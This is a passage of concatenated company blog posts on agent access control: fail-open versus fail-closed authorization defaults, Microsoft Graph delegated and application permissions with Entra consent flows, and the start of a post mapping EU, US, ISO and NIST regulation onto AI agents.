unreachable Guardian does not halt production, and a deployment MAY set `on_decision_failure: deny`. The reference implementation exposes this as `ACS_ON_DECISION_FAILURE`, also defaulting to `proceed`. The startup posture, for a handshake that never completes, defaults to `proceed` as well, so both need changing to get a fail-closed deployment. **What should an agent do when a tool annotation is missing?** Treat the absence as uninformative, not as permission. MCP's specification requires clients to consider tool annotations untrusted unless they come from trusted servers, so a present annotation from an untrusted source is worth no more than a missing one. Annotations are for interface design and review triage, not authorization inputs. **What does a 403 `insufficient_scope` mean for an agent?** That the token is valid but too narrow for this operation. Under RFC 6750 the response may carry a `scope` attribute naming what is needed, and MCP's authorization spec tells clients to step up by requesting a new token for the union of their previous scopes and the challenged ones, with retry limits so a loop cannot form. **How do I stop fail-closed from causing outages?** Bound the decision timeout tightly, retry once inside the remaining budget, cache decisions that were actually made, and never cache a non-answer. Most of the pain attributed to fail-closed comes from an unbounded wait rather than from the denial. **Is denying on an unrecognised scope too strict?** It is the only safe reading of an intersection. A grant neither side recognises cannot be shown to be inside both sets. The alternative, prefix or wildcard matching, silently grants every future scope a vendor invents. ## Conclusion {#conclusion} The reason this dimension deserves its own page is that it is the one most likely to be undocumented and the one most likely to decide what actually happens in an incident. Identity, delegation and scope models get designed. Failure behavior gets inherited from a library default, and in at least one published standard that default is to proceed. So the work is small and specific. Enumerate the ways your stack can fail to get an answer, which is more than one. Assign a posture to each, and write down who chose it. Bound the wait. Make the recoverable denials carry their reason, because the protocols already have a field for it and a 403 that names the missing scope costs a round trip instead of a ticket. Then audit the bypasses, which ACS is right to make mandatory: a fail-open path nobody can count is indistinguishable from no authorization at all. > **Unplug it and watch.** Point your agent at a batch of real actions, make the authorizer unreachable, > and see what the run does. Whatever happens next is your actual posture, and it is the only one your > auditors will be able to observe. ## Sources {#sources} All URLs read 2026-10-12. - [Agent Control Standard, Instrument pillar specification](https://github.com/GenAI-Security-Project/agent-control-standard/blob/main/docs/spec/instrument/specification.md) — section 6 on the five dispositions, 6.4 on honoring decisions and the definition of a decision failure, the `on_decision_failure` default of `proceed`, the mandatory audit event for every bypass, and the stated fail-open trade. - [Agent Control Standard, handshake failure (same specification, section 4.1)](https://github.com/GenAI-Security-Project/agent-control-standard/blob/main/docs/spec/instrument/specification.md) — the separate startup posture for a handshake that never completes, also defaulting to `proceed`. - [Agent Control Standard reference implementation, agt](https://github.com/GenAI-Security-Project/agent-control-standard/blob/main/reference-implementations/agt/README.md) — the configuration table listing `ACS_ON_DECISION_FAILURE` with default `proceed`, and the note that any value other than `proceed` or `deny` stops the Guardian at startup. - [Agent Control Standard repository](https://github.com/GenAI-Security-Project/agent-control-standard) — the project, its OWASP GenAI Security Project home, and the v0.1.0 wire schemas. - [MCP specification 2026-07-28: Tools](https://modelcontextprotocol.io/specification/2026-07-28/server/tools) — annotations as optional properties, and the requirement that clients consider tool annotations untrusted unless they come from trusted servers. - [MCP specification 2026-07-28: Authorization](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization) — the 403 `insufficient_scope` challenge shape, the step-up authorization flow, the scope-union requirement, and the retry limits. - [RFC 6750: OAuth 2.0 Bearer Token Usage](https://www.rfc-editor.org/rfc/rfc6750) — the `insufficient_scope` error value, the 403 recommendation, and the optional `scope` attribute naming what is required. - [RFC 9470: OAuth 2.0 Step Up Authentication Challenge](https://www.rfc-editor.org/rfc/rfc9470) — the `insufficient_user_authentication` error value, and the `acr_values` and `max_age` challenge parameters. - [OWASP Secure Product Design Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html) — failing into a secure state, and secure defaults as a design principle. - [mnemiq](https://github.com/agenticfabriq/mnemiq) — the deterministic decider, refusal with a stated reason, fail-closed access, the required role, and permissions applied before schema retrieval. - [mnemiq product page](https://www.agenticfabriq.com/mnemiq) — the nine-stage pipeline, the two access-scoped read-only MCP tools, and the fail-closed quickstart behaviour. - [Agent Access Control Taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) — the failure behavior dimension and its question: what happens when the decision cannot be made. - [Agent access control taxonomy, failure-behavior.yaml](https://github.com/agenticfabriq/agent-access-control-taxonomy/blob/main/taxonomy/failure-behavior.yaml) — the definitions of `aact:failure-behavior/fail-open`, `fail-closed` and `refuse-and-explain` quoted above. ================================================================================ ## Microsoft Graph Permissions for AI Apps: Delegated vs. Application Access URL: https://www.agenticfabriq.com/blog/microsoft-graph-agent-permissions Published: 2026-10-06 Author: Paulina Xu Summary: Delegated versus application Graph permissions, the tenant setting that overrides the admin-consent flag, AADSTS65001, and Sites.Selected. ```tldr **If your agent acts for one named user, ask for delegated permissions, ask for the smallest set that works, and build the product on the assumption that some admin will never say yes.** Delegated access is capped at what the signed-in user could do anyway, which is the only version of this an enterprise security team will sign off on quickly. Mail.Send, Mail.ReadWrite, Calendars.ReadWrite and Files.ReadWrite are all flagged in Microsoft's reference as not requiring admin consent. That flag decides less than you think. A tenant can restrict user consent to permissions it has classified as low impact, and the default low-impact set is `openid`, `profile`, `email` and `offline_access`. Mail.Send is not in it. The usual reaction is to reach for application permissions instead, which turns "read this rep's calendar" into "read every calendar in the tenant" and guarantees the admin review you were trying to dodge. We're not saying you can avoid admins. We're saying a request an admin can grant in ninety seconds is a different product from one that needs a security review. Concretely: register multi-tenant, point at `/organizations`, keep the first sign-in down to basic profile and `offline_access`, add the working scopes later with incremental consent, and wire the `/adminconsent` endpoint before your first customer asks for it. ``` ## Overview {#overview} Take a scheduling assistant sold to mid-market consultancies. It watches a consultant's calendar, drafts the follow-up mail after a client call, and files the countersigned proposal into that deal's SharePoint site. The hard part isn't the model, and it isn't Graph. Graph is a pleasant REST API with good docs. The hard part is that every customer is a separate Microsoft Entra tenant with its own opinions about what an outside application may do, and your onboarding funnel now runs through a person you have never met. This is where most Microsoft 365 integrations stall. Not at `GET /me/events`, but three weeks earlier, when a user clicks Connect and gets `AADSTS65001` and a support ticket lands in your queue saying "the integration doesn't work." It works fine. Nobody consented. We're going to assume you know how OAuth authorization code flow works and how refresh tokens behave; that ground is covered elsewhere and repeating it wastes your time. This is specifically about Entra's consent machinery, which puts a tenant administrator directly inside your onboarding funnel. If you've already built the same feature against Gmail, [our walkthrough of sending mail from an agent as the end user](/blog/send-gmail-from-ai-agent) is the closest comparison. The shapes rhyme, but Google's hard gate is verification and Microsoft's is the tenant administrator, and they fail at different points in your funnel. > **The rule we'd start from:** an agent that acts for one identifiable person should hold delegated > permissions and nothing else. Every application permission you add is a promise to your customer's security > team that you will never misuse tenant-wide access, and that promise costs weeks. ## Delegated or Application {#delegated} Microsoft's permissions model has two kinds, and choosing wrong is the most expensive mistake available here. Delegated permissions, per the Graph docs, "let the application act on behalf of a signed-in user. However, the application can't access anything the signed-in user couldn't access." The effective privilege is the intersection of what you were granted and what that person can already do. If the consultant can't read the managing partner's calendar, neither can your agent, no matter what your app registration says. Application permissions work "without a signed-in user present," and the docs are blunt about the consequence: "The application can access *any* data that the permission is associated with." The delegated `Mail.Send` displays to a user as "Send mail as a user." The application-permission version displays to an administrator as "Send mail as any user." One of those sentences gets approved in a meeting. The other one starts a meeting. | | Delegated | Application | | --- | --- | --- | | Acts as | one signed-in user | the app itself | | Ceiling | intersection with that user's own access | everything the permission covers, tenant-wide | | `Mail.Send` reads as | "Send mail as a user" | "Send mail as any user" | | Admin consent for `Mail.Send` | not required by the permission's own flag | required | | `Files.ReadWrite` | exists | does not exist; the app-only equivalent is `.All` | **Table 1 — The same capability, two very different asks. Display strings and admin-consent flags are from the Graph permissions reference.** That last row is worth pausing on. There is no application-permission form of `Files.ReadWrite`, because "the signed-in user's own files" is not a concept that survives the removal of the signed-in user. To get app-only access to files you move to `Files.ReadWrite.All`, which means every file in the tenant. The model is telling you something: if the job is scoped to a person, the app-only path doesn't have a scoped version to offer you. Microsoft says so directly. "From a least-privilege perspective, the delegated permission model is the recommended approach whenever it meets the application's requirements." For an agent doing one user's work, it meets the requirements. One conflation is worth killing before the next section, because it is what sends teams to application permissions by mistake. "Delegated" and "user-consented" are different axes. Delegated describes the kind of permission: a signed-in user is present at call time and the grant is capped by that user's own access. Admin consent describes who authorised it, and a tenant administrator can consent to a delegated permission on behalf of everyone in the tenant. That produces one tenant-wide grant and removes the consent screen for individuals, and it still leaves the per-user ceiling exactly where it was. | | A user consents | An admin consents for the tenant | |---|---|---| | Delegated permission | One grant for one user, capped by that user's own access | One grant covering every user, each call still capped by the calling user's access | | Application permission | Not available; these require an administrator | One grant, no user present, no per-user ceiling | **Table 2 — Permission kind and consent authority are independent axes. The cell that worries a security team is the bottom right, not the top right.** So "we need an admin to approve this" is not a reason to switch to application permissions. It is a reason to get a delegated grant approved tenant-wide, which is the same scope list the user would have seen, read once by one person. The two paths differ in who clicks, not in what the agent can reach. ```mermaid flowchart TD Q1{"Is there a specific<br/>signed-in user?"} Q1 -->|yes| D["Delegated<br/>Mail.Send, Calendars.ReadWrite"] Q1 -->|no| Q2{"Background job over<br/>many mailboxes?"} Q2 -->|"yes, few + known"| RB["App permission<br/>+ tenant-side mailbox scoping"] Q2 -->|"yes, tenant-wide"| APP["Application permission<br/>admin consent, security review"] D --> EFF["effective access =<br/>grant ∩ user's own access"] RB --> EFF2["effective access =<br/>grant ∩ scoped mailboxes"] APP --> EFF3["effective access =<br/>the whole tenant"] ``` **Figure 1 — The only question that matters is whether a named user is present at call time. An agent that runs on someone's behalf has an answer, and it points left.** ## The Registration, and the Two Errors You Will Meet {#registration} For a product sold to other companies, the registration is multi-tenant: in the portal, Supported account types becomes "Accounts in any organizational directory." Your app object still lives in your tenant. What gets created in the customer's tenant, on first consent, is a service principal, and that object is what their admin later reviews, restricts or deletes. Because the sign-in request can't know which tenant the user belongs to before they type their address, it goes to a shared authority. Microsoft documents two for multi-tenant apps: `https://login.microsoftonline.com/common` for "any organizational directory and personal Microsoft accounts," and `https://login.microsoftonline.com/organizations` for work or school accounts only. Use `/organizations` unless you genuinely intend to support consumer Microsoft accounts, because a personal account that wanders into your enterprise flow produces a support ticket nobody enjoys. Once you know the tenant, subsequent calls can use the tenant id directly. Then there are the two failures. Everyone hits both. `AADSTS50011` is the redirect URI. The identity platform reference calls it `InvalidReplyTo`: "The reply address is missing, misconfigured, or doesn't match reply addresses configured for the app." Matching is exact string comparison against what you registered, so a trailing slash, `http` where you registered `https`, or a port that shifted when your dev server restarted all produce the same wall. Register every environment's URI explicitly. Microsoft's [troubleshooting guidance for this code](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/app-integration/error-code-aadsts50011-redirect-uri-mismatch) also notes that a newly added URI can take a few minutes to take effect, which is exactly long enough to convince you the fix didn't work. `AADSTS65001` is consent, and its internal name is more informative than its message: `DelegationDoesNotExist`. "The user or administrator hasn't consented to use the application with ID X. Send an interactive authorization request for this user and resource." There is no delegation record for this user and this resource. Either nobody ever completed the interactive flow, or you added a scope after they did and are now silently requesting something that was never granted. The sibling code `AADSTS90094` is the honest one: `AdminConsentRequired`. Two details save real time here. Request `offline_access` explicitly if you want refresh tokens; on the v2 endpoint your app "must explicitly request the `offline_access` scope, to receive refresh tokens." And decide early between dynamic scopes and `/.default`. The `.default` scope "signals that consent should be prompted for all required permissions listed in the application registration," and you cannot mix the two styles: `scope=https://graph.microsoft.com/.default Mail.Read` is an error. Dynamic scopes are what make incremental consent possible, so for a product that grows features over time, dynamic is usually right, with `prompt=consent` available to force a re-ask when you add one. ## Getting Consent, Gracefully {#consent} Here is the thing that catches teams who read only the permissions reference. The admin-consent flag on a permission is not the whole answer. The tenant's user-consent setting is. Microsoft documents three settings. Disable user consent entirely. Allow user consent "for apps from verified publishers, for selected permissions," the middle option, which limits users to permissions the tenant "classifies as *low impact*." Or allow user consent for any app, for any permission that doesn't itself require admin consent, which is the legacy default. Now look at what low impact means out of the box. The default classification covers `openid`, `profile`, `email` and `offline_access`. That's basic sign-in. Under that middle setting, `Mail.Send` is not user-consentable, regardless of its own flag. You can't tell from outside which setting a given tenant runs, so treat "delegated permissions don't need an admin" as a convenience you sometimes get, never a design assumption. Which means the graceful path has to exist from day one. Two pieces do the work. The first is the admin consent endpoint, which grants a set of permissions for the whole tenant in one action: ```http GET https://login.microsoftonline.com/{tenant}/v2.0/adminconsent ?client_id=00001111-aaaa-2222-bbbb-3333cccc4444 &scope=https://graph.microsoft.com/Calendars.Read https://graph.microsoft.com/Mail.Send &redirect_uri=https://app.example.com/ms/admin-consent &state=12345 ``` On success Entra redirects back with `admin_consent=True`, `tenant`, `scope` and your `state`. The docs are emphatic about one thing: "Never use the **tenant ID** value of the `tenant` parameter to authenticate or authorize users. The tenant ID value can be updated and sent by bad actors to impersonate a response to your app." Treat the whole query string as a hint, confirm from your own session, and verify by making a real Graph call. Note also that `tenant` here cannot be `common`, because personal accounts can't grant admin consent. The second piece is Entra's own admin consent workflow, which you get for free if the customer has enabled it. When a user can't consent, they can send a request to designated reviewers, who approve or deny it by mail. Your job is to not fight it: when you see `AADSTS65001` or `AADSTS90094`, don't loop the user back into the same failing authorize call. Show them what happened, name the permissions in plain language, and give them a copyable admin consent URL to forward. ```mermaid sequenceDiagram participant U as End user participant A as Your app participant E as Entra ID participant AD as Tenant admin U->>A: Connect Microsoft 365 A->>E: authorize (Mail.Send offline_access) E-->>A: AADSTS65001 / 90094 A->>U: "Your admin needs to approve this" U->>AD: forwards /adminconsent link AD->>E: grants for the tenant E-->>A: admin_consent=True, tenant, state A->>A: verify with a real Graph call U->>A: retry Connect A->>E: authorize -> code -> tokens ``` **Figure 2 — The consent path most products treat as an error and should treat as a state. The admin's grant and the user's connection are two separate events, and both need a UI.** > **Design for the admin as a user of your product.** They will see one screen, once, and decide. Put the > permission list, the reason for each one, and a link they can forward in that screen. An agent that asks for > four scopes it can justify will clear a review that an agent asking for nine will not. ## Publisher Verification and the Unbadged Consent Screen {#publisher} Publisher verification "gives app users and organization admins information about the authenticity of the developer's organization." When it's done, "a blue *verified* badge appears in the Microsoft Entra consent prompt for the app." Without it, your consent screen is a dialog from an unidentified company asking to send mail as the person reading it. Getting the badge takes a verified Microsoft AI Cloud Partner Program account associated with the tenant where the app is registered, a publisher domain that isn't `*.onmicrosoft.com`, an email domain that matches or is DNS-verified in that tenant, and an Application Administrator or Cloud Application Administrator completing the process with multifactor authentication. It is procurement work, not engineering work, and it takes longer than you think, so start it the week you decide to build. It also has teeth beyond aesthetics. Admins "can configure user consent policies that include publisher verification status as primary policy criteria," and Microsoft notes that where risk-based step-up consent is enabled, users can't consent to most newly registered multi-tenant apps that aren't publisher verified. If you're weighing this against Google's equivalent process, [our post on Google's OAuth verification and CASA assessment](/blog/google-oauth-verification-casa) covers that side. We think Microsoft's is the lighter of the two, and it blocks fewer apps outright. It just blocks them at the tenants you most want as customers. ## Asking for Less {#least-privilege} The single most effective thing you can do to your consent screen is delete a scope from it. **Send mail without reading it.** `Mail.Send` is a separate permission from `Mail.ReadWrite`, and an agent that drafts a follow-up and sends it does not need to read the mailbox. If you want the user to review drafts, that still costs `Mail.ReadWrite`; if the agent sends directly, it doesn't. Splitting the two across separate product tiers, requested incrementally, is a real option and a cheap one. **Use `Sites.Selected` instead of `Sites.ReadWrite.All`.** For the proposal-filing half of our scheduling assistant, this is the whole game. `Sites.Selected` grants nothing on its own. Access to a given site or list is granted afterwards by an administrator, per resource, with a role of `read`, `write`, `owner` or `fullcontrol`, and it can be removed per resource by deleting that grant without touching the consent. In the delegated case "both the application and user permissions are calculated and then intersected, which means that the application can never exceed the user's permissions." Two independent ceilings, and the customer controls one of them without talking to you. That is a much easier conversation than "read and write all site collections." **For Teams, use [resource-specific consent](https://learn.microsoft.com/en-us/microsoftteams/platform/graph-api/rsc/resource-specific-consent).** RSC lets an authorized user "give an app access to data of a specific instance of a resource type" instead of every instance in the tenant. A team owner can grant access to team A and not team B. It is Teams-specific and it will not help you with mail, but where it applies it converts a tenant decision into an owner decision. The pattern underneath all three is the same one that shows up in Slack's split between user tokens and bot tokens, which [we wrote about separately](/blog/slack-ai-agent-user-vs-bot-token): pick the credential whose ceiling is a person or a resource, not the one whose ceiling is the workspace. > **The scope list is the sales conversation.** Whatever you put in `scope=` is what a stranger reads on the > day they decide whether your product exists inside their company. We'd cut it to the bone and add back by > incremental consent, feature by feature, after the account is live. ## Throttling and Staying in Sync {#runtime} Two runtime surprises are worth knowing before you ship, because both change your architecture rather than your error handling. Graph throttles with `429 Too Many Requests` and a `Retry-After` header, and the guidance is to wait exactly that many seconds rather than improvising: "Backing off requests using the `Retry-After` delay is the fastest way to recover from throttling because Microsoft Graph continues to log resource usage while a client is being throttled." Immediate retries make it worse, and they count. The limits that will actually bite an agent are Outlook's, which apply per app-and-mailbox pair. Exceeding them for one mailbox "doesn't affect the ability of the application to access another mailbox." The documented per-mailbox limits are 10,000 API requests in a 10-minute period, four concurrent requests, and 150 MB of upload (PATCH, POST, PUT) in a 5-minute period. Four concurrent requests is the number that surprises people. An agent that fans out eight parallel Graph calls to assemble context is already over, for one user, on one mailbox. Microsoft also notes that JSON batching sends up to four individual requests from a batch in parallel, which keeps a batch inside that limit by construction. Graph's throttling guidance further warns about "a large number of requests from a particular application across all tenants," so a noisy customer can degrade a quiet one if you share a client id and don't rate-limit per tenant yourself. For keeping state fresh, the choice is push or pull, and the right answer is usually both. Change notifications are event-driven, "instead of them polling Microsoft Graph." Delta query is the pull model, where a response carries an opaque `@odata.deltaLink` you replay later to get only what changed. Subscriptions expire fast on Outlook resources: a maximum of 10,080 minutes for message, event and contact subscriptions, dropping to 1,440 minutes when the notification carries resource data, with a ceiling of 1,000 active subscriptions per mailbox across all applications. Renewal is your problem, and a missed renewal is a silent data gap. So treat notifications as a doorbell and delta as the source of truth. Microsoft recommends the pairing explicitly, saying applications can use it to "nearly eliminate (only for supported resources) the need to frequently poll Microsoft Graph." A notification tells you something moved. The delta call tells you what. ```mermaid flowchart LR G["Microsoft Graph"] -->|"change notification<br/>(expires ≤ 10,080 min)"| W["your webhook"] W --> Q["queue: tenant + user + resource"] Q --> D["delta call with stored deltaLink"] D -->|"429 + Retry-After"| D D --> S["local state + new deltaLink"] T["renewal timer"] -.->|"resubscribe before expiry"| G S --> A["agent reads local state"] ``` your webhook --> queue (tenant+user+resource) queue --> delta call using stored deltaLink (on 429: wait Retry-After, repeat) delta --> local state + new deltaLink --> agent reads local state A renewal timer resubscribes before expiry; a missed renewal is a silent gap. --> **Figure 3 — Notifications as the trigger, delta as the truth. The renewal timer is the part teams forget, and its failure mode is quiet.** ## What to Ask For on Day One {#day-one} Our position, stated plainly, because "it depends" helps nobody at registration time. Register multi-tenant against `/organizations`. Register every redirect URI you will ever use, exactly, in all environments. Start publisher verification immediately; it is the longest lead item and it is paperwork. At first sign-in, request `User.Read offline_access` and nothing else, so the connect button works for the widest possible set of tenants. Add the working scope with incremental consent at the moment the user asks for the feature, and keep that list to `Mail.Send`, then `Calendars.ReadWrite`, then `Sites.Selected` if you file documents. Not `Mail.ReadWrite` unless a human reviews drafts in your UI. Not `Files.Read.All`. Never an application permission for work that has a signed-in user attached to it. Build three screens you'd rather not build: consent needed, admin approval pending, and connected-but-scope-missing. The third one is the one that turns into support tickets, because everything looks fine until the agent tries the one call it wasn't granted. And store the grant per user per tenant, not per tenant. An admin's tenant-wide consent and one consultant's connection are different facts with different lifetimes, and conflating them is how an offboarded employee's calendar keeps getting read. ## Conclusion {#conclusion} Microsoft's consent model is more bureaucratic than Google's and more honest about it. The bureaucracy is mostly Entra handing your customer's administrator a real decision, with a real display string, about a real scope. We think that is the right design, and we think the correct response is to make the decision small: delegated permissions, one or two scopes, a verified publisher badge, and a clear screen for the administrator who has thirty seconds. Everything downstream follows from that choice. Delegated access is capped by the user, so a compromised agent is bounded by one person's reach rather than a tenant's. `Sites.Selected` hands the customer a revocation switch you don't control. Four concurrent requests per mailbox is a constraint you can design around once, or discover in production repeatedly. For the per-user half of this, Agentic Fabriq's developer edition holds the shape we'd build anyway: your own end users each get an external user id you choose, they authorize at the provider themselves, credentials land in a vault and never touch your servers, and each unit of work mints a short-lived user-scoped token rather than holding a long-lived credential. A connection row exists from the moment you start the flow, so `status == "connected"` is the only thing worth showing a user as connected. ```http POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate {"connection_id": "default", "scopes": ["...optional..."]} ``` Provider slugs there are surfaces rather than vendors, so Microsoft 365 arrives as several of them: [Outlook](/integrations/outlook) mail, [Microsoft Calendar](/integrations/microsoft-calendar), [Teams chat](/integrations/teams) and [SharePoint](/integrations/sharepoint), each with its own tool list and its own Graph scopes beside each tool. Which of them are connectable on a given deployment, and whether a connection runs through Fabriq's provider app or one you register yourself, is what the capabilities endpoint reports rather than something to hardcode. Where it reports your own app, the Entra registration above is yours to build, and the per-user connection model is the same either way. > **The closing position:** if a human is on the other end of the request, ask for delegated permissions and > the shortest scope list that does the job. Every step away from that is a step toward a security review, and > security reviews are measured in weeks. ## Sources {#sources} - [Overview of Microsoft Graph permissions](https://learn.microsoft.com/en-us/graph/permissions-overview) — delegated versus application access, effective permissions, and the least-privilege recommendation. - [Microsoft Graph permissions reference](https://learn.microsoft.com/en-us/graph/permissions-reference) — display strings and admin-consent flags for Mail.Send, Mail.ReadWrite, Calendars.ReadWrite, Files.ReadWrite and Sites.Selected. - [Configure an application to be multitenant](https://learn.microsoft.com/en-us/entra/identity-platform/howto-convert-app-to-be-multi-tenant) — supported account types, and the `/common` versus `/organizations` authorities. - [Microsoft Entra authentication and authorization error codes](https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes) — AADSTS50011 InvalidReplyTo, AADSTS65001 DelegationDoesNotExist, AADSTS90094 AdminConsentRequired. - [Scopes, permissions, and consent in the Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/scopes-oidc) — `/.default`, dynamic versus static consent, `prompt=consent`, and `offline_access`. - [Admin consent on the Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/v2-admin-consent) — the `/adminconsent` endpoint, its parameters, the response, and the warning about trusting the `tenant` value. - [Configure the admin consent workflow](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow) — reviewers, request expiration, and the user-facing request experience. - [Configure how users consent to applications](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-user-consent) — the three tenant user-consent settings and the default behaviour. - [Configure permission classifications](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-permission-classifications) — the default low-impact set of `openid`, `profile`, `email` and `offline_access`. - [Publisher verification](https://learn.microsoft.com/en-us/entra/identity-platform/publisher-verification-overview) — the verified badge, CPP and domain requirements, and risk-based step-up consent. - [Microsoft Graph throttling guidance](https://learn.microsoft.com/en-us/graph/throttling) — 429 handling, `Retry-After`, and the two throttling scenarios. - [Microsoft Graph service-specific throttling limits](https://learn.microsoft.com/en-us/graph/throttling-limits) — Outlook per-mailbox limits and JSON batching concurrency. - [Selected permissions for OneDrive and SharePoint](https://learn.microsoft.com/en-us/graph/permissions-selected-overview) — how Sites.Selected grants are made per resource and the roles available. - [Set up notifications for changes in resource data](https://learn.microsoft.com/en-us/graph/change-notifications-overview) — subscription lifetimes for Outlook resources and the per-mailbox subscription ceiling. - [Use delta query to track changes in Microsoft Graph data](https://learn.microsoft.com/en-us/graph/delta-query-overview) — the pull model, `@odata.deltaLink`, and pairing delta with change notifications. ================================================================================ ## The Agent Regulation Stack: Operating Under Four Regimes at Once URL: https://www.agenticfabriq.com/blog/global-agent-regulation-stack Published: 2026-10-02 Author: Paulina Xu Summary: One agent can sit inside the EU AI Act, a US state statute, an ISO management system and a financial-services retention rule simultaneously. A map of the evidentiary artifacts each one demands. ```tldr **One agent can sit inside four or five regulatory regimes at once, and almost all of them end up asking for the same evidence: an action-level log naming both the agent and the human it acted for.** That convergence is the finding worth keeping. The EU AI Act's high-risk deadline just moved sixteen months, to December 2027. Anyone who spent 2025 designing an agent's audit trail to the Act's six-month retention floor built to the wrong number, because that floor was never the binding one. MiFID II, FINRA and HIPAA never deferred anything, and their clocks run five to seven years. This isn't an argument for waiting it out. Human oversight, action-level logging and risk classification tied to an agent's tool set are the pieces an engineering team genuinely has to build differently for something that acts rather than answers. Registering a system in an EU database or maintaining ISO paperwork is real work, but it's legal and compliance work, not a rewrite of the runtime. Work out which regime sets your agent's longest retention clock before anyone chooses a deletion policy. That's the one decision here you can't undo after the fact. ``` ## Overview {#overview} We've written about the EU AI Act on its own terms, and about getting ready for agent compliance regulation in general. This one is about the collision: what happens when several regimes attach to the same agent at the same time, each wanting a different piece of evidence about the same action. > **Not legal advice.** This is an engineering reading of published regulatory text and official material, written for people who have to build the systems. Article numbers, dates and retention periods are cited so you can check them. Get counsel for anything that matters. That's the ordinary case, not the exotic one. Take a single agent reconciling trade breaks for a European asset manager. It sits inside the EU AI Act as a deployer, if the use case is high-risk. It's inside MiFID II's record-keeping obligations too, and inside whatever the firm's ISO/IEC 42001 certification scope committed to, inside NIST AI RMF because the firm's US entity relies on it, and inside at least one US state statute keyed to where the affected individuals live. None of those regimes knows the others exist. Whether it satisfies any of them comes down to artifacts your engineering team did or didn't produce. This is genuinely hard, and not for one reason. The timeline everyone spent 2025 planning around moved in mid-2026, and a lot of published guidance is now wrong about dates. More fundamentally, **none of these frameworks was designed for systems that act.** Every one assumes a model that produces an output, which a human then uses. An agent taking four thousand consequential actions a day with no human in the path breaks that assumption in the human-oversight rules, in the logging rules, in risk management, in incident reporting. > **What to read this for:** the retention-and-evidence table further down is the part worth designing against before the legal analysis is even finished. The floor is set by whichever regime touching your agent carries the strictest clock, and that's almost never the AI Act. ## Four Layers, Different Kinds of Force {#the-stack} The four things people lump together as "AI regulation" are not the same kind of object, and treating them as interchangeable is the first mistake. **The EU AI Act is binding regulation with penalties.** It classifies systems by risk, imposes obligations on providers and deployers separately, and is enforced by market surveillance authorities. It is the only layer that can fine you. **NIST AI RMF is a voluntary methodology.** Released as AI RMF 1.0 in January 2023, it organizes AI risk work into four functions (**GOVERN, MAP, MEASURE, MANAGE**) and a set of outcomes under each, with a Generative AI Profile (NIST AI 600-1) added in 2024. It mandates nothing on its own. It is load-bearing in the US anyway, because state legislatures have started referencing it. Texas's TRAIGA, effective 2026-01-01, gives a rebuttable presumption of reasonable care (Sec. 552.105(c)) and a liability shield (Sec. 552.105(e)) where a violation is caught through an internal review process backed by substantial compliance with NIST's Generative AI Profile, named in the statute by title as AI 600-1, or another nationally or internationally recognized AI risk framework. A voluntary framework that buys a statutory defense isn't really voluntary. **ISO/IEC 42001 is a certifiable management-system standard.** Its requirements sit in Clauses 4 through 10, with Annex A providing 38 reference controls across nine categories, justified by your own risk and impact assessments rather than ticked off as a list. Its distinctive requirement, the one with no ISO 27001 equivalent, is the **AI system impact assessment**, established at 6.1.4 and performed at 8.4. The practical value in a multi-regime world is that it produces third-party-audited evidence that a management system exists and operates, and other regimes tend to accept that as a proxy for diligence. What it is not, yet, is a European harmonised standard. CEN-CENELEC's JTC 21 has its own AI management-system work in progress, and only a standard cited in the Official Journal confers a presumption of conformity with the AI Act. **US state law is a patchwork keyed to where your users live**, not to where you operate. It's the layer most likely to catch a platform team off guard, because it doesn't follow product boundaries at all. Not all four cost engineering the same amount. The AI Act's logging and oversight duties land on the runtime: somebody has to build the log schema and the approval flow. US state law's residency trigger is a data-model problem, because nothing else in most stacks currently records where an affected person lives, and that field has to exist before anyone can answer whether a given action was in scope. NIST and ISO are mostly not engineering work at all. They're documentation and audit exercises that consume evidence the other two already produced, which is why they're worth doing and not worth designing the system around. ```mermaid flowchart LR A["One agent:<br/>trade-break reconciliation"] --> EU["EU AI Act<br/>binding · deployer duties"] A --> FS["MiFID II / FINRA<br/>binding · records"] A --> ST["US state law<br/>binding · by user residence"] A --> ISO["ISO/IEC 42001<br/>contractual · certified AIMS"] A --> NIST["NIST AI RMF<br/>voluntary · safe harbour in TX"] A --> SG["Singapore MGF<br/>voluntary · agent-specific"] EU --> L["Action-level log<br/>with both identities"] FS --> L ST --> L ISO --> L NIST --> L SG --> L ``` **Figure 1 — Jurisdictional overlap. Six regimes of three different kinds, one agent, and substantial convergence on the evidence they each want.** ## What Moved in 2026 {#omnibus} Anyone writing about the AI Act before mid-2026 was working from a timeline that no longer holds, so this needs to be precise. The AI Act's high-risk obligations were originally scheduled to apply from 2026-08-02 for standalone Annex III systems and 2027-08-02 for high-risk AI embedded in products already regulated under Union safety legislation. The Commission published the **Digital Omnibus on AI** on 2025-11-19 proposing to defer those dates. A provisional political agreement was reached in the trilogue that concluded on 2026-05-07 and was confirmed by Member State representatives on 2026-05-13. The European Parliament took its final vote on 2026-06-16, approving the package 423 votes to 57 with 174 abstentions. The Council gave final approval on 2026-06-29. The amending act was signed on 2026-07-08 and published in the Official Journal on 2026-07-24 as **Regulation (EU) 2026/1744**, entering into force on the third day after publication. The result: - **Standalone high-risk systems listed in Annex III**: obligations now apply from **2027-12-02**, a sixteen-month deferral. - **High-risk AI embedded as safety components in Annex I products** (medical devices, machinery, toys and similar): **2028-08-02**. - **National regulatory sandboxes**: deadline for Member States to establish them pushed to 2027-08-02. What still lands on **2026-08-02** is the Article 50 transparency package: telling people they are interacting with an AI system, and marking AI-generated content, with a grace period to 2026-12-02 for machine-readable marking of systems already on the market. A new Article 5 prohibition covering AI-generated child sexual abuse material and non-consensual intimate imagery applies from 2026-12-02. Registration in the EU database for systems the provider has self-assessed as not high-risk was retained with simplified administrative requirements. One caveat to carry: published summaries describe the deferral as covering "the high-risk obligations" without itemizing every article. The obligations that matter most for agents are the Articles 8 to 15 requirements: Article 12 record-keeping, Article 16 and 17 provider duties, Article 19 log retention, Article 26 deployer duties, Article 27 fundamental-rights impact assessments (which bind only public bodies, private providers of public services, and deployers of certain Annex III credit and insurance systems), and Article 73 